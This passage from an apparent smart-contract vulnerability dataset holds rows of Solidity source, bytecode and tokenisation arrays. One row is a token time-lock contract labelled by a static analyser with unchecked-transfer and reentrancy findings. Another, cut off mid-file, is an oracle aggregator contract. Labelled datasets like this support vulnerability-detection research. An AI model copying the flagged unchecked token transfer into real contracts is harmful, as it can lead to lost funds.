1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,496 | 0x953d378094d7e6a0138c5bfde74ef37933f4401a | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 28252800;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xc7B1E926220acFd467173eC9ccd0C7A5D78436Fb;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a72305820f29edf8caeb34e734fa0f175e582928546d8d9fac86f6689a0340f3b2e4279690029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22275,
2094,
24434,
17914,
2683,
2549,
2094,
2581,
2063,
2575,
2050,
24096,
22025,
2278,
2629,
29292,
3207,
2581,
2549,
12879,
24434,
2683,
22394,
2546,
22932,
24096,
2050,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
5466,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,497 | 0x953DA51613067981ff15695695994DD8B1310F6d | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
import "./OffchainAggregator.sol";
import "./SimpleReadAccessController.sol";
/**
* @notice Wrapper of OffchainAggregator which checks read access on Aggregator-interface methods
*/
contract AccessControlledOffchainAggregator is OffchainAggregator, SimpleReadAccessController {
constructor(
uint32 _maximumGasPrice,
uint32 _reasonableGasPrice,
uint32 _microLinkPerEth,
uint32 _linkGweiPerObservation,
uint32 _linkGweiPerTransmission,
LinkTokenInterface _link,
int192 _minAnswer,
int192 _maxAnswer,
AccessControllerInterface _billingAccessController,
AccessControllerInterface _requesterAccessController,
uint8 _decimals,
string memory description
)
OffchainAggregator(
_maximumGasPrice,
_reasonableGasPrice,
_microLinkPerEth,
_linkGweiPerObservation,
_linkGweiPerTransmission,
_link,
_minAnswer,
_maxAnswer,
_billingAccessController,
_requesterAccessController,
_decimals,
description
) {
}
/*
* Versioning
*/
function typeAndVersion()
external
override
pure
virtual
returns (string memory)
{
return "AccessControlledOffchainAggregator 3.0.0";
}
/*
* v2 Aggregator interface
*/
/// @inheritdoc OffchainAggregator
function latestAnswer()
public
override
view
checkAccess()
returns (int256)
{
return super.latestAnswer();
}
/// @inheritdoc OffchainAggregator
function latestTimestamp()
public
override
view
checkAccess()
returns (uint256)
{
return super.latestTimestamp();
}
/// @inheritdoc OffchainAggregator
function latestRound()
public
override
view
checkAccess()
returns (uint256)
{
return super.latestRound();
}
/// @inheritdoc OffchainAggregator
function getAnswer(uint256 _roundId)
public
override
view
checkAccess()
returns (int256)
{
return super.getAnswer(_roundId);
}
/// @inheritdoc OffchainAggregator
function getTimestamp(uint256 _roundId)
public
override
view
checkAccess()
returns (uint256)
{
return super.getTimestamp(_roundId);
}
/*
* v3 Aggregator interface
*/
/// @inheritdoc OffchainAggregator
function description()
public
override
view
checkAccess()
returns (string memory)
{
return super.description();
}
/// @inheritdoc OffchainAggregator
function getRoundData(uint80 _roundId)
public
override
view
checkAccess()
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
return super.getRoundData(_roundId);
}
/// @inheritdoc OffchainAggregator
function latestRoundData()
public
override
view
checkAccess()
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
return super.latestRoundData();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./AccessControllerInterface.sol";
import "./AggregatorV2V3Interface.sol";
import "./AggregatorValidatorInterface.sol";
import "./LinkTokenInterface.sol";
import "./Owned.sol";
import "./OffchainAggregatorBilling.sol";
import "./TypeAndVersionInterface.sol";
/**
* @notice Onchain verification of reports from the offchain reporting protocol
* @dev For details on its operation, see the offchain reporting protocol design
* @dev doc, which refers to this contract as simply the "contract".
*/
contract OffchainAggregator is Owned, OffchainAggregatorBilling, AggregatorV2V3Interface, TypeAndVersionInterface {
uint256 constant private maxUint32 = (1 << 32) - 1;
// Storing these fields used on the hot path in a HotVars variable reduces the
// retrieval of all of them to a single SLOAD. If any further fields are
// added, make sure that storage of the struct still takes at most 32 bytes.
struct HotVars {
// Provides 128 bits of security against 2nd pre-image attacks, but only
// 64 bits against collisions. This is acceptable, since a malicious owner has
// easier way of messing up the protocol than to find hash collisions.
bytes16 latestConfigDigest;
uint40 latestEpochAndRound; // 32 most sig bits for epoch, 8 least sig bits for round
// Current bound assumed on number of faulty/dishonest oracles participating
// in the protocol, this value is referred to as f in the design
uint8 threshold;
// Chainlink Aggregators expose a roundId to consumers. The offchain reporting
// protocol does not use this id anywhere. We increment it whenever a new
// transmission is made to provide callers with contiguous ids for successive
// reports.
uint32 latestAggregatorRoundId;
}
HotVars internal s_hotVars;
// Transmission records the median answer from the transmit transaction at
// time timestamp
struct Transmission {
int192 answer; // 192 bits ought to be enough for anyone
uint64 timestamp;
}
mapping(uint32 /* aggregator round ID */ => Transmission) internal s_transmissions;
// incremented each time a new config is posted. This count is incorporated
// into the config digest, to prevent replay attacks.
uint32 internal s_configCount;
uint32 internal s_latestConfigBlockNumber; // makes it easier for offchain systems
// to extract config from logs.
// Lowest answer the system is allowed to report in response to transmissions
int192 immutable public minAnswer;
// Highest answer the system is allowed to report in response to transmissions
int192 immutable public maxAnswer;
/*
* @param _maximumGasPrice highest gas price for which transmitter will be compensated
* @param _reasonableGasPrice transmitter will receive reward for gas prices under this value
* @param _microLinkPerEth reimbursement per ETH of gas cost, in 1e-6LINK units
* @param _linkGweiPerObservation reward to oracle for contributing an observation to a successfully transmitted report, in 1e-9LINK units
* @param _linkGweiPerTransmission reward to transmitter of a successful report, in 1e-9LINK units
* @param _link address of the LINK contract
* @param _minAnswer lowest answer the median of a report is allowed to be
* @param _maxAnswer highest answer the median of a report is allowed to be
* @param _billingAccessController access controller for billing admin functions
* @param _requesterAccessController access controller for requesting new rounds
* @param _decimals answers are stored in fixed-point format, with this many digits of precision
* @param _description short human-readable description of observable this contract's answers pertain to
*/
constructor(
uint32 _maximumGasPrice,
uint32 _reasonableGasPrice,
uint32 _microLinkPerEth,
uint32 _linkGweiPerObservation,
uint32 _linkGweiPerTransmission,
LinkTokenInterface _link,
int192 _minAnswer,
int192 _maxAnswer,
AccessControllerInterface _billingAccessController,
AccessControllerInterface _requesterAccessController,
uint8 _decimals,
string memory _description
)
OffchainAggregatorBilling(_maximumGasPrice, _reasonableGasPrice, _microLinkPerEth,
_linkGweiPerObservation, _linkGweiPerTransmission, _link,
_billingAccessController
)
{
decimals = _decimals;
s_description = _description;
setRequesterAccessController(_requesterAccessController);
setValidatorConfig(AggregatorValidatorInterface(0x0), 0);
minAnswer = _minAnswer;
maxAnswer = _maxAnswer;
}
/*
* Versioning
*/
function typeAndVersion()
external
override
pure
virtual
returns (string memory)
{
return "OffchainAggregator 3.0.0";
}
/*
* Config logic
*/
/**
* @notice triggers a new run of the offchain reporting protocol
* @param previousConfigBlockNumber block in which the previous config was set, to simplify historic analysis
* @param configCount ordinal number of this config setting among all config settings over the life of this contract
* @param signers ith element is address ith oracle uses to sign a report
* @param transmitters ith element is address ith oracle uses to transmit a report via the transmit method
* @param threshold maximum number of faulty/dishonest oracles the protocol can tolerate while still working correctly
* @param encodedConfigVersion version of the serialization format used for "encoded" parameter
* @param encoded serialized data used by oracles to configure their offchain operation
*/
event ConfigSet(
uint32 previousConfigBlockNumber,
uint64 configCount,
address[] signers,
address[] transmitters,
uint8 threshold,
uint64 encodedConfigVersion,
bytes encoded
);
// Reverts transaction if config args are invalid
modifier checkConfigValid (
uint256 _numSigners, uint256 _numTransmitters, uint256 _threshold
) {
require(_numSigners <= maxNumOracles, "too many signers");
require(_threshold > 0, "threshold must be positive");
require(
_numSigners == _numTransmitters,
"oracle addresses out of registration"
);
require(_numSigners > 3*_threshold, "faulty-oracle threshold too high");
_;
}
/**
* @notice sets offchain reporting protocol configuration incl. participating oracles
* @param _signers addresses with which oracles sign the reports
* @param _transmitters addresses oracles use to transmit the reports
* @param _threshold number of faulty oracles the system can tolerate
* @param _encodedConfigVersion version number for offchainEncoding schema
* @param _encoded encoded off-chain oracle configuration
*/
function setConfig(
address[] calldata _signers,
address[] calldata _transmitters,
uint8 _threshold,
uint64 _encodedConfigVersion,
bytes calldata _encoded
)
external
checkConfigValid(_signers.length, _transmitters.length, _threshold)
onlyOwner()
{
while (s_signers.length != 0) { // remove any old signer/transmitter addresses
uint lastIdx = s_signers.length - 1;
address signer = s_signers[lastIdx];
address transmitter = s_transmitters[lastIdx];
payOracle(transmitter);
delete s_oracles[signer];
delete s_oracles[transmitter];
s_signers.pop();
s_transmitters.pop();
}
for (uint i = 0; i < _signers.length; i++) { // add new signer/transmitter addresses
require(
s_oracles[_signers[i]].role == Role.Unset,
"repeated signer address"
);
s_oracles[_signers[i]] = Oracle(uint8(i), Role.Signer);
require(s_payees[_transmitters[i]] != address(0), "payee must be set");
require(
s_oracles[_transmitters[i]].role == Role.Unset,
"repeated transmitter address"
);
s_oracles[_transmitters[i]] = Oracle(uint8(i), Role.Transmitter);
s_signers.push(_signers[i]);
s_transmitters.push(_transmitters[i]);
}
s_hotVars.threshold = _threshold;
uint32 previousConfigBlockNumber = s_latestConfigBlockNumber;
s_latestConfigBlockNumber = uint32(block.number);
s_configCount += 1;
uint64 configCount = s_configCount;
{
s_hotVars.latestConfigDigest = configDigestFromConfigData(
address(this),
configCount,
_signers,
_transmitters,
_threshold,
_encodedConfigVersion,
_encoded
);
s_hotVars.latestEpochAndRound = 0;
}
emit ConfigSet(
previousConfigBlockNumber,
configCount,
_signers,
_transmitters,
_threshold,
_encodedConfigVersion,
_encoded
);
}
function configDigestFromConfigData(
address _contractAddress,
uint64 _configCount,
address[] calldata _signers,
address[] calldata _transmitters,
uint8 _threshold,
uint64 _encodedConfigVersion,
bytes calldata _encodedConfig
) internal pure returns (bytes16) {
return bytes16(keccak256(abi.encode(_contractAddress, _configCount,
_signers, _transmitters, _threshold, _encodedConfigVersion, _encodedConfig
)));
}
/**
* @notice information about current offchain reporting protocol configuration
* @return configCount ordinal number of current config, out of all configs applied to this contract so far
* @return blockNumber block at which this config was set
* @return configDigest domain-separation tag for current config (see configDigestFromConfigData)
*/
function latestConfigDetails()
external
view
returns (
uint32 configCount,
uint32 blockNumber,
bytes16 configDigest
)
{
return (s_configCount, s_latestConfigBlockNumber, s_hotVars.latestConfigDigest);
}
/**
* @return list of addresses permitted to transmit reports to this contract
* @dev The list will match the order used to specify the transmitter during setConfig
*/
function transmitters()
external
view
returns(address[] memory)
{
return s_transmitters;
}
/*
* On-chain validation logc
*/
// Configuration for validator
struct ValidatorConfig {
AggregatorValidatorInterface validator;
uint32 gasLimit;
}
ValidatorConfig private s_validatorConfig;
/**
* @notice indicates that the validator configuration has been set
* @param previousValidator previous validator contract
* @param previousGasLimit previous gas limit for validate calls
* @param currentValidator current validator contract
* @param currentGasLimit current gas limit for validate calls
*/
event ValidatorConfigSet(
AggregatorValidatorInterface indexed previousValidator,
uint32 previousGasLimit,
AggregatorValidatorInterface indexed currentValidator,
uint32 currentGasLimit
);
/**
* @notice validator configuration
* @return validator validator contract
* @return gasLimit gas limit for validate calls
*/
function validatorConfig()
external
view
returns (AggregatorValidatorInterface validator, uint32 gasLimit)
{
ValidatorConfig memory vc = s_validatorConfig;
return (vc.validator, vc.gasLimit);
}
/**
* @notice sets validator configuration
* @dev set _newValidator to 0x0 to disable validate calls
* @param _newValidator address of the new validator contract
* @param _newGasLimit new gas limit for validate calls
*/
function setValidatorConfig(AggregatorValidatorInterface _newValidator, uint32 _newGasLimit)
public
onlyOwner()
{
ValidatorConfig memory previous = s_validatorConfig;
if (previous.validator != _newValidator || previous.gasLimit != _newGasLimit) {
s_validatorConfig = ValidatorConfig({
validator: _newValidator,
gasLimit: _newGasLimit
});
emit ValidatorConfigSet(previous.validator, previous.gasLimit, _newValidator, _newGasLimit);
}
}
function validateAnswer(
uint32 _aggregatorRoundId,
int256 _answer
)
private
{
ValidatorConfig memory vc = s_validatorConfig;
if (address(vc.validator) == address(0)) {
return;
}
uint32 prevAggregatorRoundId = _aggregatorRoundId - 1;
int256 prevAggregatorRoundAnswer = s_transmissions[prevAggregatorRoundId].answer;
// We do not want the validator to ever prevent reporting, so we limit its
// gas usage and catch any errors that may arise.
try vc.validator.validate{gas: vc.gasLimit}(
prevAggregatorRoundId,
prevAggregatorRoundAnswer,
_aggregatorRoundId,
_answer
) {} catch {}
}
/*
* requestNewRound logic
*/
AccessControllerInterface internal s_requesterAccessController;
/**
* @notice emitted when a new requester access controller contract is set
* @param old the address prior to the current setting
* @param current the address of the new access controller contract
*/
event RequesterAccessControllerSet(AccessControllerInterface old, AccessControllerInterface current);
/**
* @notice emitted to immediately request a new round
* @param requester the address of the requester
* @param configDigest the latest transmission's configDigest
* @param epoch the latest transmission's epoch
* @param round the latest transmission's round
*/
event RoundRequested(address indexed requester, bytes16 configDigest, uint32 epoch, uint8 round);
/**
* @notice address of the requester access controller contract
* @return requester access controller address
*/
function requesterAccessController()
external
view
returns (AccessControllerInterface)
{
return s_requesterAccessController;
}
/**
* @notice sets the requester access controller
* @param _requesterAccessController designates the address of the new requester access controller
*/
function setRequesterAccessController(AccessControllerInterface _requesterAccessController)
public
onlyOwner()
{
AccessControllerInterface oldController = s_requesterAccessController;
if (_requesterAccessController != oldController) {
s_requesterAccessController = AccessControllerInterface(_requesterAccessController);
emit RequesterAccessControllerSet(oldController, _requesterAccessController);
}
}
/**
* @notice immediately requests a new round
* @return the aggregatorRoundId of the next round. Note: The report for this round may have been
* transmitted (but not yet mined) *before* requestNewRound() was even called. There is *no*
* guarantee of causality between the request and the report at aggregatorRoundId.
*/
function requestNewRound() external returns (uint80) {
require(msg.sender == owner || s_requesterAccessController.hasAccess(msg.sender, msg.data),
"Only owner&requester can call");
HotVars memory hotVars = s_hotVars;
emit RoundRequested(
msg.sender,
hotVars.latestConfigDigest,
uint32(s_hotVars.latestEpochAndRound >> 8),
uint8(s_hotVars.latestEpochAndRound)
);
return hotVars.latestAggregatorRoundId + 1;
}
/*
* Transmission logic
*/
/**
* @notice indicates that a new report was transmitted
* @param aggregatorRoundId the round to which this report was assigned
* @param answer median of the observations attached this report
* @param transmitter address from which the report was transmitted
* @param observations observations transmitted with this report
* @param rawReportContext signature-replay-prevention domain-separation tag
*/
event NewTransmission(
uint32 indexed aggregatorRoundId,
int192 answer,
address transmitter,
int192[] observations,
bytes observers,
bytes32 rawReportContext
);
// decodeReport is used to check that the solidity and go code are using the
// same format. See TestOffchainAggregator.testDecodeReport and TestReportParsing
function decodeReport(bytes memory _report)
internal
pure
returns (
bytes32 rawReportContext,
bytes32 rawObservers,
int192[] memory observations
)
{
(rawReportContext, rawObservers, observations) = abi.decode(_report,
(bytes32, bytes32, int192[]));
}
// Used to relieve stack pressure in transmit
struct ReportData {
HotVars hotVars; // Only read from storage once
bytes observers; // ith element is the index of the ith observer
int192[] observations; // ith element is the ith observation
bytes vs; // jth element is the v component of the jth signature
bytes32 rawReportContext;
}
/*
* @notice details about the most recent report
* @return configDigest domain separation tag for the latest report
* @return epoch epoch in which the latest report was generated
* @return round OCR round in which the latest report was generated
* @return latestAnswer median value from latest report
* @return latestTimestamp when the latest report was transmitted
*/
function latestTransmissionDetails()
external
view
returns (
bytes16 configDigest,
uint32 epoch,
uint8 round,
int192 latestAnswer,
uint64 latestTimestamp
)
{
require(msg.sender == tx.origin, "Only callable by EOA");
return (
s_hotVars.latestConfigDigest,
uint32(s_hotVars.latestEpochAndRound >> 8),
uint8(s_hotVars.latestEpochAndRound),
s_transmissions[s_hotVars.latestAggregatorRoundId].answer,
s_transmissions[s_hotVars.latestAggregatorRoundId].timestamp
);
}
// The constant-length components of the msg.data sent to transmit.
// See the "If we wanted to call sam" example on for example reasoning
// https://solidity.readthedocs.io/en/v0.7.2/abi-spec.html
uint16 private constant TRANSMIT_MSGDATA_CONSTANT_LENGTH_COMPONENT =
4 + // function selector
32 + // word containing start location of abiencoded _report value
32 + // word containing location start of abiencoded _rs value
32 + // word containing start location of abiencoded _ss value
32 + // _rawVs value
32 + // word containing length of _report
32 + // word containing length _rs
32 + // word containing length of _ss
0; // placeholder
function expectedMsgDataLength(
bytes calldata _report, bytes32[] calldata _rs, bytes32[] calldata _ss
) private pure returns (uint256 length)
{
// calldata will never be big enough to make this overflow
return uint256(TRANSMIT_MSGDATA_CONSTANT_LENGTH_COMPONENT) +
_report.length + // one byte pure entry in _report
_rs.length * 32 + // 32 bytes per entry in _rs
_ss.length * 32 + // 32 bytes per entry in _ss
0; // placeholder
}
/**
* @notice transmit is called to post a new report to the contract
* @param _report serialized report, which the signatures are signing. See parsing code below for format. The ith element of the observers component must be the index in s_signers of the address for the ith signature
* @param _rs ith element is the R components of the ith signature on report. Must have at most maxNumOracles entries
* @param _ss ith element is the S components of the ith signature on report. Must have at most maxNumOracles entries
* @param _rawVs ith element is the the V component of the ith signature
*/
function transmit(
// NOTE: If these parameters are changed, expectedMsgDataLength and/or
// TRANSMIT_MSGDATA_CONSTANT_LENGTH_COMPONENT need to be changed accordingly
bytes calldata _report,
bytes32[] calldata _rs, bytes32[] calldata _ss, bytes32 _rawVs // signatures
)
external
{
uint256 initialGas = gasleft(); // This line must come first
// Make sure the transmit message-length matches the inputs. Otherwise, the
// transmitter could append an arbitrarily long (up to gas-block limit)
// string of 0 bytes, which we would reimburse at a rate of 16 gas/byte, but
// which would only cost the transmitter 4 gas/byte. (Appendix G of the
// yellow paper, p. 25, for G_txdatazero and EIP 2028 for G_txdatanonzero.)
// This could amount to reimbursement profit of 36 million gas, given a 3MB
// zero tail.
require(msg.data.length == expectedMsgDataLength(_report, _rs, _ss),
"transmit message too long");
ReportData memory r; // Relieves stack pressure
{
r.hotVars = s_hotVars; // cache read from storage
bytes32 rawObservers;
(r.rawReportContext, rawObservers, r.observations) = abi.decode(
_report, (bytes32, bytes32, int192[])
);
// rawReportContext consists of:
// 11-byte zero padding
// 16-byte configDigest
// 4-byte epoch
// 1-byte round
bytes16 configDigest = bytes16(r.rawReportContext << 88);
require(
r.hotVars.latestConfigDigest == configDigest,
"configDigest mismatch"
);
uint40 epochAndRound = uint40(uint256(r.rawReportContext));
// direct numerical comparison works here, because
//
// ((e,r) <= (e',r')) implies (epochAndRound <= epochAndRound')
//
// because alphabetic ordering implies e <= e', and if e = e', then r<=r',
// so e*256+r <= e'*256+r', because r, r' < 256
require(r.hotVars.latestEpochAndRound < epochAndRound, "stale report");
require(_rs.length > r.hotVars.threshold, "not enough signatures");
require(_rs.length <= maxNumOracles, "too many signatures");
require(_ss.length == _rs.length, "signatures out of registration");
require(r.observations.length <= maxNumOracles,
"num observations out of bounds");
require(r.observations.length > 2 * r.hotVars.threshold,
"too few values to trust median");
// Copy signature parities in bytes32 _rawVs to bytes r.v
r.vs = new bytes(_rs.length);
for (uint8 i = 0; i < _rs.length; i++) {
r.vs[i] = _rawVs[i];
}
// Copy observer identities in bytes32 rawObservers to bytes r.observers
r.observers = new bytes(r.observations.length);
bool[maxNumOracles] memory seen;
for (uint8 i = 0; i < r.observations.length; i++) {
uint8 observerIdx = uint8(rawObservers[i]);
require(!seen[observerIdx], "observer index repeated");
seen[observerIdx] = true;
r.observers[i] = rawObservers[i];
}
Oracle memory transmitter = s_oracles[msg.sender];
require( // Check that sender is authorized to report
transmitter.role == Role.Transmitter &&
msg.sender == s_transmitters[transmitter.index],
"unauthorized transmitter"
);
// record epochAndRound here, so that we don't have to carry the local
// variable in transmit. The change is reverted if something fails later.
r.hotVars.latestEpochAndRound = epochAndRound;
}
{ // Verify signatures attached to report
bytes32 h = keccak256(_report);
bool[maxNumOracles] memory signed;
Oracle memory o;
for (uint i = 0; i < _rs.length; i++) {
address signer = ecrecover(h, uint8(r.vs[i])+27, _rs[i], _ss[i]);
o = s_oracles[signer];
require(o.role == Role.Signer, "address not authorized to sign");
require(!signed[o.index], "non-unique signature");
signed[o.index] = true;
}
}
{ // Check the report contents, and record the result
for (uint i = 0; i < r.observations.length - 1; i++) {
bool inOrder = r.observations[i] <= r.observations[i+1];
require(inOrder, "observations not sorted");
}
int192 median = r.observations[r.observations.length/2];
require(minAnswer <= median && median <= maxAnswer, "median is out of min-max range");
r.hotVars.latestAggregatorRoundId++;
s_transmissions[r.hotVars.latestAggregatorRoundId] =
Transmission(median, uint64(block.timestamp));
emit NewTransmission(
r.hotVars.latestAggregatorRoundId,
median,
msg.sender,
r.observations,
r.observers,
r.rawReportContext
);
// Emit these for backwards compatability with offchain consumers
// that only support legacy events
emit NewRound(
r.hotVars.latestAggregatorRoundId,
address(0x0), // use zero address since we don't have anybody "starting" the round here
block.timestamp
);
emit AnswerUpdated(
median,
r.hotVars.latestAggregatorRoundId,
block.timestamp
);
validateAnswer(r.hotVars.latestAggregatorRoundId, median);
}
s_hotVars = r.hotVars;
assert(initialGas < maxUint32);
reimburseAndRewardOracles(uint32(initialGas), r.observers);
}
/*
* v2 Aggregator interface
*/
/**
* @notice median from the most recent report
*/
function latestAnswer()
public
override
view
virtual
returns (int256)
{
return s_transmissions[s_hotVars.latestAggregatorRoundId].answer;
}
/**
* @notice timestamp of block in which last report was transmitted
*/
function latestTimestamp()
public
override
view
virtual
returns (uint256)
{
return s_transmissions[s_hotVars.latestAggregatorRoundId].timestamp;
}
/**
* @notice Aggregator round (NOT OCR round) in which last report was transmitted
*/
function latestRound()
public
override
view
virtual
returns (uint256)
{
return s_hotVars.latestAggregatorRoundId;
}
